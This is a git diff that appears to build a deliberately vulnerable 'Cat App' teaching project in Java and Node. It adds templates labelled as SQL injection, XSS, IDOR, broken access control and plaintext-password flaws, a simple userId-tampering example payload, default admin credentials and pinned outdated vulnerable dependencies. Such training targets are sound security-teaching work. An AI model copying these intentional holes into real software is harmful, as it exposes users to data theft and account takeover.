+            padding: 1rem;
+            margin-bottom: 0.5rem;
+            border-radius: 4px;
+        }
+        .message.success {
+            background: #d4edda;
+            color: #155724;
+            border: 1px solid #c3e6cb;
+        }
+        .message.error {
+            background: #f8d7da;
+            color: #721c24;
+            border: 1px solid #f5c6cb;
+        }
+    </style>
+</head>
+<body>
+    <!-- Navigation Bar -->
+    <nav class="nav" th:if="${session.userId != null}">
+        <div class="nav-content">
+            <a th:href="@{/}" class="nav-brand">Cat App</a>
+            <div class="nav-links">
+                <a th:href="@{/}">Home</a>
+                <a th:href="@{/profile(userId=${session.userId})}">My Profile</a>
+                <a th:href="@{/search}">Search Cats</a>
+                <a th:href="@{/comments}">Comments</a>
+            </div>
+            <div class="nav-user">
+                <span th:text="${session.username}"></span>
+                <a th:href="@{/logout}">Logout</a>
+            </div>
+        </div>
+    </nav>
+
+    <!-- Main Content -->
+    <div class="container">
+        <!-- Flash Messages -->
+        <div class="messages" th:if="${message != null}">
+            <div class="message success" th:text="${message}"></div>
+        </div>
+        <div class="messages" th:if="${error != null}">
+            <div class="message error" th:text="${error}"></div>
+        </div>
+
+        <!-- Page Content -->
+        <div th:replace="${content} ?: _">
+            <!-- Content will be inserted here -->
+        </div>
+    </div>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/login.html b/insecure-java/src/main/resources/templates/login.html
new file mode 100644
index 0000000..5debda2
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/login.html
@@ -0,0 +1,114 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Login - Cat App</title>
+    <style>
+        body { 
+            font-family: Arial, sans-serif; 
+            margin: 0; 
+            padding: 0; 
+            line-height: 1.6;
+            background: #f8f9fa;
+        }
+        .nav {
+            background: #333;
+            padding: 1rem;
+            color: white;
+        }
+        .nav-content {
+            max-width: 1200px;
+            margin: 0 auto;
+            display: flex;
+            justify-content: space-between;
+            align-items: center;
+        }
+        .nav-brand {
+            font-size: 1.5rem;
+            font-weight: bold;
+            color: white;
+            text-decoration: none;
+        }
+        .container {
+            max-width: 1200px;
+            margin: 0 auto;
+            padding: 2rem;
+        }
+        .login-container {
+            max-width: 400px;
+            margin: 2rem auto;
+            padding: 2rem;
+            background: #fff;
+            border-radius: 8px;
+            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
+        }
+        .form-group { margin-bottom: 15px; }
+        label { display: block; margin-bottom: 5px; }
+        input { width: 100%; padding: 8px; margin-bottom: 10px; }
+        button { 
+            background: #4CAF50; 
+            color: white; 
+            padding: 10px 15px; 
+            border: none; 
+            cursor: pointer;
+            width: 100%;
+        }
+        button:hover { background: #45a049; }
+        .error { color: red; margin-top: 10px; }
+        .note { background: #fff3cd; padding: 10px; margin: 10px 0; border-radius: 4px; }
+        .auth-links {
+            text-align: center;
+            margin-top: 1rem;
+        }
+        .auth-links a {
+            color: #4CAF50;
+            text-decoration: none;
+        }
+        .auth-links a:hover {
+            text-decoration: underline;
+        }
+    </style>
+</head>
+<body>
+    <!-- Navigation Bar -->
+    <nav class="nav">
+        <div class="nav-content">
+            <a th:href="@{/}" class="nav-brand">Cat App</a>
+        </div>
+    </nav>
+
+    <!-- Main Content -->
+    <div class="container">
+        <div th:fragment="content">
+            <div class="login-container">
+                <h2>Login</h2>
+                <!-- Vulnerability: Broken Authentication - Insecure authentication mechanism without proper session handling. -->
+                <div class="note">
+                    <strong>Note:</strong> The login process lacks secure session management and uses plaintext passwords.
+                </div>
+                <form action="#" th:action="@{/login}" method="post">
+                    <div class="form-group">
+                        <label>Username:</label>
+                        <input type="text" name="username" required />
+                    </div>
+                    <div class="form-group">
+                        <label>Password:</label>
+                        <input type="password" name="password" required />
+                    </div>
+                    <button type="submit">Login</button>
+                </form>
+                <div th:if="${error}" class="error" th:text="${error}"></div>
+                <div class="auth-links">
+                    <p>Don't have an account? <a th:href="@{/register}">Register here</a></p>
+                </div>
+                <div class="note">
+                    <p>Example Credentials:</p>
+                    <ul>
+                        <li>Username: <code>admin</code></li>
+                        <li>Password: <code>admin123</code></li>
+                    </ul>
+                </div>
+            </div>
+        </div>
+    </div>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/loginResult.html b/insecure-java/src/main/resources/templates/loginResult.html
new file mode 100644
index 0000000..92a3dae
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/loginResult.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Login Result</title>
+    <style>
+        body { font-family: Arial, sans-serif; max-width: 600px; margin: 0 auto; padding: 20px; text-align: center; }
+        .success { color: green; }
+        .error { color: red; }
+        .note { background: #fff3cd; padding: 10px; margin: 10px 0; border-radius: 4px; }
+    </style>
+</head>
+<body>
+    <h2 th:text="${message}"></h2>
+    <!-- Educational Note: The lack of secure session management can lead to unauthorized access. -->
+    <div class="note">
+        <strong>Note:</strong> The application does not implement secure session management, making it vulnerable to attacks.
+    </div>
+    <p>Redirecting to home page...</p>
+    <script>
+        setTimeout(function() {
+            window.location.href = '/';
+        }, 2000);
+    </script>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/profile.html b/insecure-java/src/main/resources/templates/profile.html
new file mode 100644
index 0000000..3fa98b5
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/profile.html
@@ -0,0 +1,18 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org" th:replace="layout :: * {content='this'}">
+<head>
+    <title>User Profile</title>
+</head>
+<body>
+    <h2>User Profile</h2>
+    <!-- Vulnerability: IDOR - No verification of user identity -->
+    <p><strong>Note:</strong> This page displays user information based on the provided user ID without verifying ownership.</p>
+    <p>User ID: <span th:text="${user.id}"></span></p>
+    <p>Username: <span th:text="${user.username}"></span></p>
+    <a th:href="@{'/editProfile'(userId=${user.id})}">Edit Profile</a>
+    <p>Example Payload:</p>
+    <ul>
+        <li>Access another user's profile by changing the <code>userId</code> parameter in the URL, e.g., <code>?userId=2</code>.</li>
+    </ul>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/register.html b/insecure-java/src/main/resources/templates/register.html
new file mode 100644
index 0000000..fdff7e2
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/register.html
@@ -0,0 +1,107 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Register - Cat App</title>
+    <style>
+        body { 
+            font-family: Arial, sans-serif; 
+            margin: 0; 
+            padding: 0; 
+            line-height: 1.6;
+            background: #f8f9fa;
+        }
+        .nav {
+            background: #333;
+            padding: 1rem;
+            color: white;
+        }
+        .nav-content {
+            max-width: 1200px;
+            margin: 0 auto;
+            display: flex;
+            justify-content: space-between;
+            align-items: center;
+        }
+        .nav-brand {
+            font-size: 1.5rem;
+            font-weight: bold;
+            color: white;
+            text-decoration: none;
+        }
+        .container {
+            max-width: 1200px;
+            margin: 0 auto;
+            padding: 2rem;
+        }
+        .register-container {
+            max-width: 400px;
+            margin: 2rem auto;
+            padding: 2rem;
+            background: #fff;
+            border-radius: 8px;
+            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
+        }
+        .form-group { margin-bottom: 15px; }
+        label { display: block; margin-bottom: 5px; }
+        input { width: 100%; padding: 8px; margin-bottom: 10px; }
+        button { 
+            background: #4CAF50; 
+            color: white; 
+            padding: 10px 15px; 
+            border: none; 
+            cursor: pointer;
+            width: 100%;
+        }
+        button:hover { background: #45a049; }
+        .error { color: red; margin-top: 10px; }
+        .note { background: #fff3cd; padding: 10px; margin: 10px 0; border-radius: 4px; }
+        .auth-links {
+            text-align: center;
+            margin-top: 1rem;
+        }
+        .auth-links a {
+            color: #4CAF50;
+            text-decoration: none;
+        }
+        .auth-links a:hover {
+            text-decoration: underline;
+        }
+    </style>
+</head>
+<body>
+    <!-- Navigation Bar -->
+    <nav class="nav">
+        <div class="nav-content">
+            <a th:href="@{/}" class="nav-brand">Cat App</a>
+        </div>
+    </nav>
+
+    <!-- Main Content -->
+    <div class="container">
+        <div th:fragment="content">
+            <div class="register-container">
+                <h2>Register</h2>
+                <!-- Vulnerability: Broken Authentication - Insecure registration with plaintext passwords -->
+                <div class="note">
+                    <strong>Note:</strong> The registration process stores passwords in plaintext and lacks proper input validation.
+                </div>
+                <form action="#" th:action="@{/register}" method="post">
+                    <div class="form-group">
+                        <label>Username:</label>
+                        <input type="text" name="username" required />
+                    </div>
+                    <div class="form-group">
+                        <label>Password:</label>
+                        <input type="password" name="password" required />
+                    </div>
+                    <button type="submit">Register</button>
+                </form>
+                <div th:if="${error}" class="error" th:text="${error}"></div>
+                <div class="auth-links">
+                    <p>Already have an account? <a th:href="@{/login}">Login here</a></p>
+                </div>
+            </div>
+        </div>
+    </div>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/registerResult.html b/insecure-java/src/main/resources/templates/registerResult.html
new file mode 100644
index 0000000..fab4c55
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/registerResult.html
@@ -0,0 +1,11 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Registration Result</title>
+</head>
+<body>
+    <h2 th:text="${message}"></h2>
+    <!-- Educational Note: Remember that passwords are stored in plaintext. -->
+    <p><strong>Note:</strong> Your password is stored in plaintext. This is insecure and demonstrates a common vulnerability.</p>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/search.html b/insecure-java/src/main/resources/templates/search.html
new file mode 100644
index 0000000..5aa798b
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/search.html
@@ -0,0 +1,135 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Search Cats - Cat App</title>
+    <style>
+        body { 
+            font-family: Arial, sans-serif; 
+            margin: 0; 
+            padding: 0; 
+            line-height: 1.6;
+        }
+        .nav {
+            background: #333;
+            padding: 1rem;
+            color: white;
+        }
+        .nav-content {
+            max-width: 1200px;
+            margin: 0 auto;
+            display: flex;
+            justify-content: space-between;
+            align-items: center;
+        }
+        .nav-brand {
+            font-size: 1.5rem;
+            font-weight: bold;
+            color: white;
+            text-decoration: none;
+        }
+        .nav-links {
+            display: flex;
+            gap: 1rem;
+        }
+        .nav-links a {
+            color: white;
+            text-decoration: none;
+            padding: 0.5rem 1rem;
+            border-radius: 4px;
+        }
+        .nav-links a:hover {
+            background: #444;
+        }
+        .nav-user {
+            display: flex;
+            align-items: center;
+            gap: 1rem;
+        }
+        .nav-user span {
+            color: #ddd;
+        }
+        .container {
+            max-width: 1200px;
+            margin: 0 auto;
+            padding: 2rem;
+        }
+        .search-container {
+            max-width: 600px;
+            margin: 2rem auto;
+            padding: 2rem;
+            background: #fff;
+            border-radius: 8px;
+            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
+        }
+        .form-group {
+            margin-bottom: 1rem;
+        }
+        label {
+            display: block;
+            margin-bottom: 0.5rem;
+        }
+        input {
+            width: 100%;
+            padding: 0.5rem;
+            border: 1px solid #ddd;
+            border-radius: 4px;
+        }
+        button {
+            background: #4CAF50;
+            color: white;
+            padding: 0.5rem 1rem;
+            border: none;
+            border-radius: 4px;
+            cursor: pointer;
+            width: 100%;
+        }
+        button:hover {
+            background: #45a049;
+        }
+        .note {
+            background: #fff3cd;
+            padding: 1rem;
+            margin: 1rem 0;
+            border-radius: 4px;
+        }
+    </style>
+</head>
+<body>
+    <!-- Navigation Bar -->
+    <nav class="nav" th:if="${session.userId != null}">
+        <div class="nav-content">
+            <a th:href="@{/}" class="nav-brand">Cat App</a>
+            <div class="nav-links">
+                <a th:href="@{/}">Home</a>
+                <a th:href="@{/profile(userId=${session.userId})}">My Profile</a>
+                <a th:href="@{/search}">Search Cats</a>
+                <a th:href="@{/comments}">Comments</a>
+            </div>
+            <div class="nav-user">
+                <span th:text="${session.username}"></span>
+                <a th:href="@{/logout}">Logout</a>
+            </div>
+        </div>
+    </nav>
+
+    <!-- Main Content -->
+    <div class="container">
+        <div th:fragment="content">
+            <div class="search-container">
+                <h2>Search Cat Pictures</h2>
+                <!-- Vulnerability: SQL Injection - Raw SQL query with user input -->
+                <div class="note">
+                    <strong>Note:</strong> This search is vulnerable to SQL injection attacks.
+                </div>
+                <form action="#" th:action="@{/search}" method="post">
+                    <div class="form-group">
+                        <label>Cat Name:</label>
+                        <input type="text" name="name" required />
+                    </div>
+                    <button type="submit">Search</button>
+                </form>
+            </div>
+        </div>
+    </div>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/searchResults.html b/insecure-java/src/main/resources/templates/searchResults.html
new file mode 100644
index 0000000..9ba307c
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/searchResults.html
@@ -0,0 +1,148 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Search Results - Cat App</title>
+    <style>
+        body { 
+            font-family: Arial, sans-serif; 
+            margin: 0; 
+            padding: 0; 
+            line-height: 1.6;
+        }
+        .nav {
+            background: #333;
+            padding: 1rem;
+            color: white;
+        }
+        .nav-content {
+            max-width: 1200px;
+            margin: 0 auto;
+            display: flex;
+            justify-content: space-between;
+            align-items: center;
+        }
+        .nav-brand {
+            font-size: 1.5rem;
+            font-weight: bold;
+            color: white;
+            text-decoration: none;
+        }
+        .nav-links {
+            display: flex;
+            gap: 1rem;
+        }
+        .nav-links a {
+            color: white;
+            text-decoration: none;
+            padding: 0.5rem 1rem;
+            border-radius: 4px;
+        }
+        .nav-links a:hover {
+            background: #444;
+        }
+        .nav-user {
+            display: flex;
+            align-items: center;
+            gap: 1rem;
+        }
+        .nav-user span {
+            color: #ddd;
+        }
+        .container {
+            max-width: 1200px;
+            margin: 0 auto;
+            padding: 2rem;
+        }
+        .results-container {
+            margin-top: 2rem;
+        }
+        .cat-grid {
+            display: grid;
+            grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
+            gap: 2rem;
+            margin-top: 2rem;
+        }
+        .cat-card {
+            background: white;
+            border-radius: 8px;
+            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
+            overflow: hidden;
+        }
+        .cat-image {
+            width: 100%;
+            height: 200px;
+            object-fit: cover;
+        }
+        .cat-info {
+            padding: 1rem;
+        }
+        .cat-name {
+            font-size: 1.2rem;
+            margin-bottom: 0.5rem;
+        }
+        .delete-button {
+            background: #dc3545;
+            color: white;
+            padding: 0.5rem 1rem;
+            border: none;
+            border-radius: 4px;
+            cursor: pointer;
+            width: 100%;
+            margin-top: 0.5rem;
+        }
+        .delete-button:hover {
+            background: #c82333;
+        }
+        .note {
+            background: #fff3cd;
+            padding: 1rem;
+            margin: 1rem 0;
+            border-radius: 4px;
+        }
+    </style>
+</head>
+<body>
+    <!-- Navigation Bar -->
+    <nav class="nav" th:if="${session.userId != null}">
+        <div class="nav-content">
+            <a th:href="@{/}" class="nav-brand">Cat App</a>
+            <div class="nav-links">
+                <a th:href="@{/}">Home</a>
+                <a th:href="@{/profile(userId=${session.userId})}">My Profile</a>
+                <a th:href="@{/search}">Search Cats</a>
+                <a th:href="@{/comments}">Comments</a>
+            </div>
+            <div class="nav-user">
+                <span th:text="${session.username}"></span>
+                <a th:href="@{/logout}">Logout</a>
+            </div>
+        </div>
+    </nav>
+
+    <!-- Main Content -->
+    <div class="container">
+        <div th:fragment="content">
+            <div class="results-container">
+                <h2>Search Results</h2>
+                <!-- Vulnerability: XSS - Raw output of user input -->
+                <div class="note">
+                    <strong>Note:</strong> This page is vulnerable to XSS attacks through the search results.
+                </div>
+                <div class="cat-grid">
+                    <div class="cat-card" th:each="picture : ${pictures}">
+                        <img th:src="${picture.url}" th:alt="${picture.name}" class="cat-image" />
+                        <div class="cat-info">
+                            <div class="cat-name" th:text="${picture.name}"></div>
+                            <!-- Vulnerability: Broken Access Control - Anyone can delete any picture -->
+                            <form th:action="@{/delete}" method="post">
+                                <input type="hidden" name="id" th:value="${picture.id}" />
+                                <button type="submit" class="delete-button">Delete Picture</button>
+                            </form>
+                        </div>
+                    </div>
+                </div>
+            </div>
+        </div>
+    </div>
+</body>
+</html>
diff --git a/insecure-js/Dockerfile b/insecure-js/Dockerfile
index 786568e..a5e5f3b 100644
--- a/insecure-js/Dockerfile
+++ b/insecure-js/Dockerfile
@@ -1,15 +1,16 @@
 FROM node:16
 
-WORKDIR /usr/src/app
+# Create /app directory and set as working directory
+RUN mkdir /app
+WORKDIR /app
 
-COPY ./insecure-js/package*.json ./
-
-RUN npm install
-
-RUN rm /usr/local/lib/node_modules/npm/node_modules/semver/package.json
+# Copy package files first for better caching
+COPY package*.json ./
+RUN npm install --legacy-peer-deps
 
 COPY . .
 
 EXPOSE 3000
 
-CMD [ "node", "server.js" ]
+# Run the database initialization script, then start the server
+CMD ["/bin/bash", "-c", "node init_db.js && node server.js"]
\ No newline at end of file
diff --git a/insecure-js/data.db b/insecure-js/data.db
new file mode 100644
index 0000000..8e3cd42
Binary files /dev/null and b/insecure-js/data.db differ
diff --git a/insecure-js/init_db.js b/insecure-js/init_db.js
new file mode 100644
index 0000000..5f56277
--- /dev/null
+++ b/insecure-js/init_db.js
@@ -0,0 +1,86 @@
+const { Sequelize, DataTypes } = require("sequelize");
+const sequelize = new Sequelize("sqlite:./data.db", {
+  dialect: "sqlite",
+  dialectOptions: {
+    multipleStatements: true, // Enable multiple statements
+  },
+});
+
+// Define User model
+const User = sequelize.define("User", {
+  username: DataTypes.STRING,
+  email: DataTypes.STRING,
+  target: DataTypes.JSON,
+});
+
+// Define Password model
+const Password = sequelize.define("Password", {
+  userId: DataTypes.INTEGER,
+  hashedPassword: DataTypes.STRING,
+});
+
+// Define Order model with sensitive fields
+const Order = sequelize.define("Order", {
+  orderNumber: DataTypes.INTEGER,
+  userId: DataTypes.INTEGER, // Foreign key to associate with User
+  product: DataTypes.STRING,
+  amount: DataTypes.FLOAT,
+  status: DataTypes.STRING,
+  creditCardNumber: DataTypes.STRING, // Sensitive data
+  billingAddress: DataTypes.STRING, // Sensitive data
+});
+
+async function init() {
+  await sequelize.sync({ force: true });
+
+  // Create users
+  const users = await User.bulkCreate([
+    { username: "admin", email: "admin@example.com", target: { admin: 1 } },
+    { username: "user1", email: "user1@example.com", target: { user1: 1 } },
+    { username: "user2", email: "user2@example.com", target: { user2: 1 } },
+  ]);
+
+  // Create passwords
+  await Password.bulkCreate([
+    { userId: users[0].id, hashedPassword: "hashed_admin_password" },
+    { userId: users[1].id, hashedPassword: "hashed_user1_password" },
+    { userId: users[2].id, hashedPassword: "hashed_user2_password" },
+  ]);
+
+  // Create orders with sensitive data
+  await Order.bulkCreate([
+    {
+      orderNumber: 1001,
+      userId: users[0].id,
+      product: "Laptop",
+      amount: 1500.0,
+      status: "Shipped",
+      creditCardNumber: "4111111111111111",
+      billingAddress: "123 Main St",
+    },
+    {
+      orderNumber: 1002,
+      userId: users[1].id,
+      product: "Phone",
+      amount: 800.0,
+      status: "Pending",
+      creditCardNumber: "4222222222222222",
+      billingAddress: "456 Elm St",
+    },
+    {
+      orderNumber: 1003,
+      userId: users[2].id,
+      product: "Tablet",
+      amount: 400.0,
+      status: "Delivered",
+      creditCardNumber: "4333333333333333",
+      billingAddress: "789 Oak St",
+    },
+  ]);
+
+  console.log("Database initialized");
+}
+
+init();
+
+module.exports = { sequelize, User, Password, Order };
diff --git a/insecure-js/package-lock.json b/insecure-js/package-lock.json
index a780b26..d165abd 100644
--- a/insecure-js/package-lock.json
+++ b/insecure-js/package-lock.json
@@ -5,18 +5,32 @@
   "packages": {
     "": {
       "dependencies": {
+        "@aikidosec/firewall": "^1.5.47",
+        "@babel/core": "7.0.0-rc.1",
+        "chart.js": "2.8.0",
+        "chartist": "0.3.0",
+        "dom-iterator": "^1.0.0",
+        "jquery": "2.1.0",
         "lodash": "4.16.1",
-        "semver": "5.4.1"
-      },
-      "devDependencies": {
-        "@babel/core": "7.0.0-rc.1"
+        "mini-html-parser": "^0.0.3",
+        "mysql2": "^2.3.3",
+        "semver": "5.4.1",
+        "sequelize": "4.44.1",
+        "sqlite3": "^5.0.2"
+      }
+    },
+    "node_modules/@aikidosec/firewall": {
+      "version": "1.5.68",
+      "resolved": "https://registry.npmjs.org/@aikidosec/firewall/-/firewall-1.5.68.tgz",
+      "integrity": "sha512-bwWeLcTOzn+ZtVllJZSffoekaXxMNTznUrGb7VdxQAgN2zNBTQAmceFWRKBQB3VI8jv3LNapcWN1BXRji9Hxgg==",
+      "engines": {
+        "node": ">=16"
       }
     },
     "node_modules/@babel/code-frame": {
       "version": "7.0.0-rc.1",
       "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.0.0-rc.1.tgz",
       "integrity": "sha512-qhQo3GqwqMUv03SxxjcEkWtlkEDvFYrBKbJUn4Dtd9amC2cLkJ3me4iYUVSBbVXWbfbVRalEeVBHzX4aQYKnBg==",
-      "dev": true,
       "dependencies": {
         "@babel/highlight": "7.0.0-rc.1"
       }
@@ -25,7 +39,6 @@
       "version": "7.0.0-rc.1",
       "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.0.0-rc.1.tgz",
       "integrity": "sha512-CvuSsq+LFs9N4SJG8MnNPI0hnl913HK1OqG3NEfejOKo+JqtVuxpmAFyXIDogX2x668xqFKAW6EQiCIcUHklMg==",
-      "dev": true,
       "dependencies": {
         "@babel/code-frame": "7.0.0-rc.1",
         "@babel/generator": "7.0.0-rc.1",
@@ -46,17 +59,10 @@
         "node": ">=6.9.0"
       }
     },
-    "node_modules/@babel/core/node_modules/lodash": {
-      "version": "4.17.21",
-      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
-      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
-      "dev": true
-    },
     "node_modules/@babel/generator": {
       "version": "7.0.0-rc.1",
       "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.0.0-rc.1.tgz",
       "integrity": "sha512-Ak4n780/coo+L9GZUS7V/IGJilP11t4UoWl0J9cG3jso4KkDGQcqdx4Y6gJAiXng+sDfvzUmvWfM1hZwH82J0A==",
-      "dev": true,
       "dependencies": {
         "@babel/types": "7.0.0-rc.1",
         "jsesc": "^2.5.1",
@@ -65,17 +71,10 @@
         "trim-right": "^1.0.1"
       }
     },
-    "node_modules/@babel/generator/node_modules/lodash": {
-      "version": "4.17.21",
-      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
-      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
-      "dev": true
-    },
     "node_modules/@babel/helper-function-name": {
       "version": "7.0.0-rc.1",
       "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.0.0-rc.1.tgz",
       "integrity": "sha512-fDbWxdYYbFNzcI5jn3qsPxHI1UCXwvFk0kGytGce/FEBYEPXBqycKknC8Oqiub8DzGtmTcvnqcm/cl/qxzeuiQ==",
-      "dev": true,
       "dependencies": {
         "@babel/helper-get-function-arity": "7.0.0-rc.1",
         "@babel/template": "7.0.0-rc.1",
@@ -86,7 +85,6 @@
       "version": "7.0.0-rc.1",
       "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.0.0-rc.1.tgz",
       "integrity": "sha512-5+ydaIRxT42FSDqvoXIDksCGlW1903xC73HQnQCFF1YuV7VcIf+9M4+tRZulLlYlshw7ILA+4SiYsKoDlC0Irg==",
-      "dev": true,
       "dependencies": {
         "@babel/types": "7.0.0-rc.1"
       }
@@ -95,7 +93,6 @@
       "version": "7.0.0-rc.1",
       "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.0.0-rc.1.tgz",
       "integrity": "sha512-hz6QmlnaBFYt4ra8DfRLCMgrI7yfwQ13kJtufSO5dVCasxmAng2LeeQiT6H4iN5TpFONcayp5f/2mXqHH/zn/g==",
-      "dev": true,
       "dependencies": {
         "@babel/types": "7.0.0-rc.1"
       }
@@ -104,7 +101,6 @@
       "version": "7.0.0-rc.1",
       "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.0.0-rc.1.tgz",
       "integrity": "sha512-4+AkDbZ0Usr7mNH4wGX8fVx4WJzHdrcjRkJy52EIWyBAQEoKqb5HXca1VjejWtnVwaGwW7zk/h6oQ9FQPywQfA==",
-      "dev": true,
       "dependencies": {
         "@babel/template": "7.0.0-rc.1",
         "@babel/traverse": "7.0.0-rc.1",
@@ -115,7 +111,6 @@
       "version": "7.0.0-rc.1",
       "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.0.0-rc.1.tgz",
       "integrity": "sha512-5PgPDV6F5s69XNznTcP0za3qH7qgBkr9DVQTXfZtpF+3iEyuIZB1Mjxu52F5CFxgzQUQJoBYHVxtH4Itdb5MgA==",
-      "dev": true,
       "dependencies": {
         "chalk": "^2.0.0",
         "esutils": "^2.0.2",
@@ -126,7 +121,6 @@
       "version": "7.0.0-rc.1",
       "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.0.0-rc.1.tgz",
       "integrity": "sha512-rC+bIz2eZnJlacERmJO25UAbXVZttcSxh0Px0gRGinOTzug5tL7+L9urfIdSWlv1ZzP03+f2xkOFLOxZqSsVmQ==",
-      "dev": true,
       "bin": {
         "parser": "bin/babel-parser.js"
       },
@@ -138,7 +132,6 @@
       "version": "7.0.0-rc.1",
       "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.0.0-rc.1.tgz",
       "integrity": "sha512-gPLng2iedNlkaGD0UdwaUByQXK8k4bnaoq2RH5JgR2mqHvh2RyjkDdaMbZFlSss1Iu8+PrXwbIRworTl8iRqbA==",
-      "dev": true,
       "dependencies": {
         "@babel/code-frame": "7.0.0-rc.1",
         "@babel/parser": "7.0.0-rc.1",
@@ -146,17 +139,10 @@
         "lodash": "^4.17.10"
       }
     },
-    "node_modules/@babel/template/node_modules/lodash": {
-      "version": "4.17.21",
-      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
-      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
-      "dev": true
-    },
     "node_modules/@babel/traverse": {
       "version": "7.0.0-rc.1",
       "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.0.0-rc.1.tgz",
       "integrity": "sha512-lNOpJ5xzakg+fCobQQHdeDRYeN54b+bAZpeTYMeeYPAvN+hTldg9/FSNKYEMRs5EWoQ0Yt74gwq98InSORdSDQ==",
-      "dev": true,
       "dependencies": {
         "@babel/code-frame": "7.0.0-rc.1",
         "@babel/generator": "7.0.0-rc.1",
@@ -169,34 +155,141 @@
         "lodash": "^4.17.10"
       }
     },
-    "node_modules/@babel/traverse/node_modules/lodash": {
-      "version": "4.17.21",
-      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
-      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
-      "dev": true
-    },
     "node_modules/@babel/types": {
       "version": "7.0.0-rc.1",
       "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.0.0-rc.1.tgz",
       "integrity": "sha512-MBwO1JQKin9BwKTGydrYe4VDJbStCUy35IhJzeZt3FByOdx/q3CYaqMRrH70qVD2RA7+Xk8e3RN0mzKZkYBYuQ==",
-      "dev": true,
       "dependencies": {
         "esutils": "^2.0.2",
         "lodash": "^4.17.10",
         "to-fast-properties": "^2.0.0"
       }
     },
-    "node_modules/@babel/types/node_modules/lodash": {
-      "version": "4.17.21",
-      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
-      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
-      "dev": true
+    "node_modules/@gar/promisify": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz",
+      "integrity": "sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==",
+      "optional": true
+    },
+    "node_modules/@npmcli/fs": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz",
+      "integrity": "sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==",
+      "optional": true,
+      "dependencies": {
+        "@gar/promisify": "^1.0.1",
+        "semver": "^7.3.5"
+      }
+    },
+    "node_modules/@npmcli/move-file": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz",
+      "integrity": "sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==",
+      "deprecated": "This functionality has been moved to @npmcli/fs",
+      "optional": true,
+      "dependencies": {
+        "mkdirp": "^1.0.4",
+        "rimraf": "^3.0.2"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
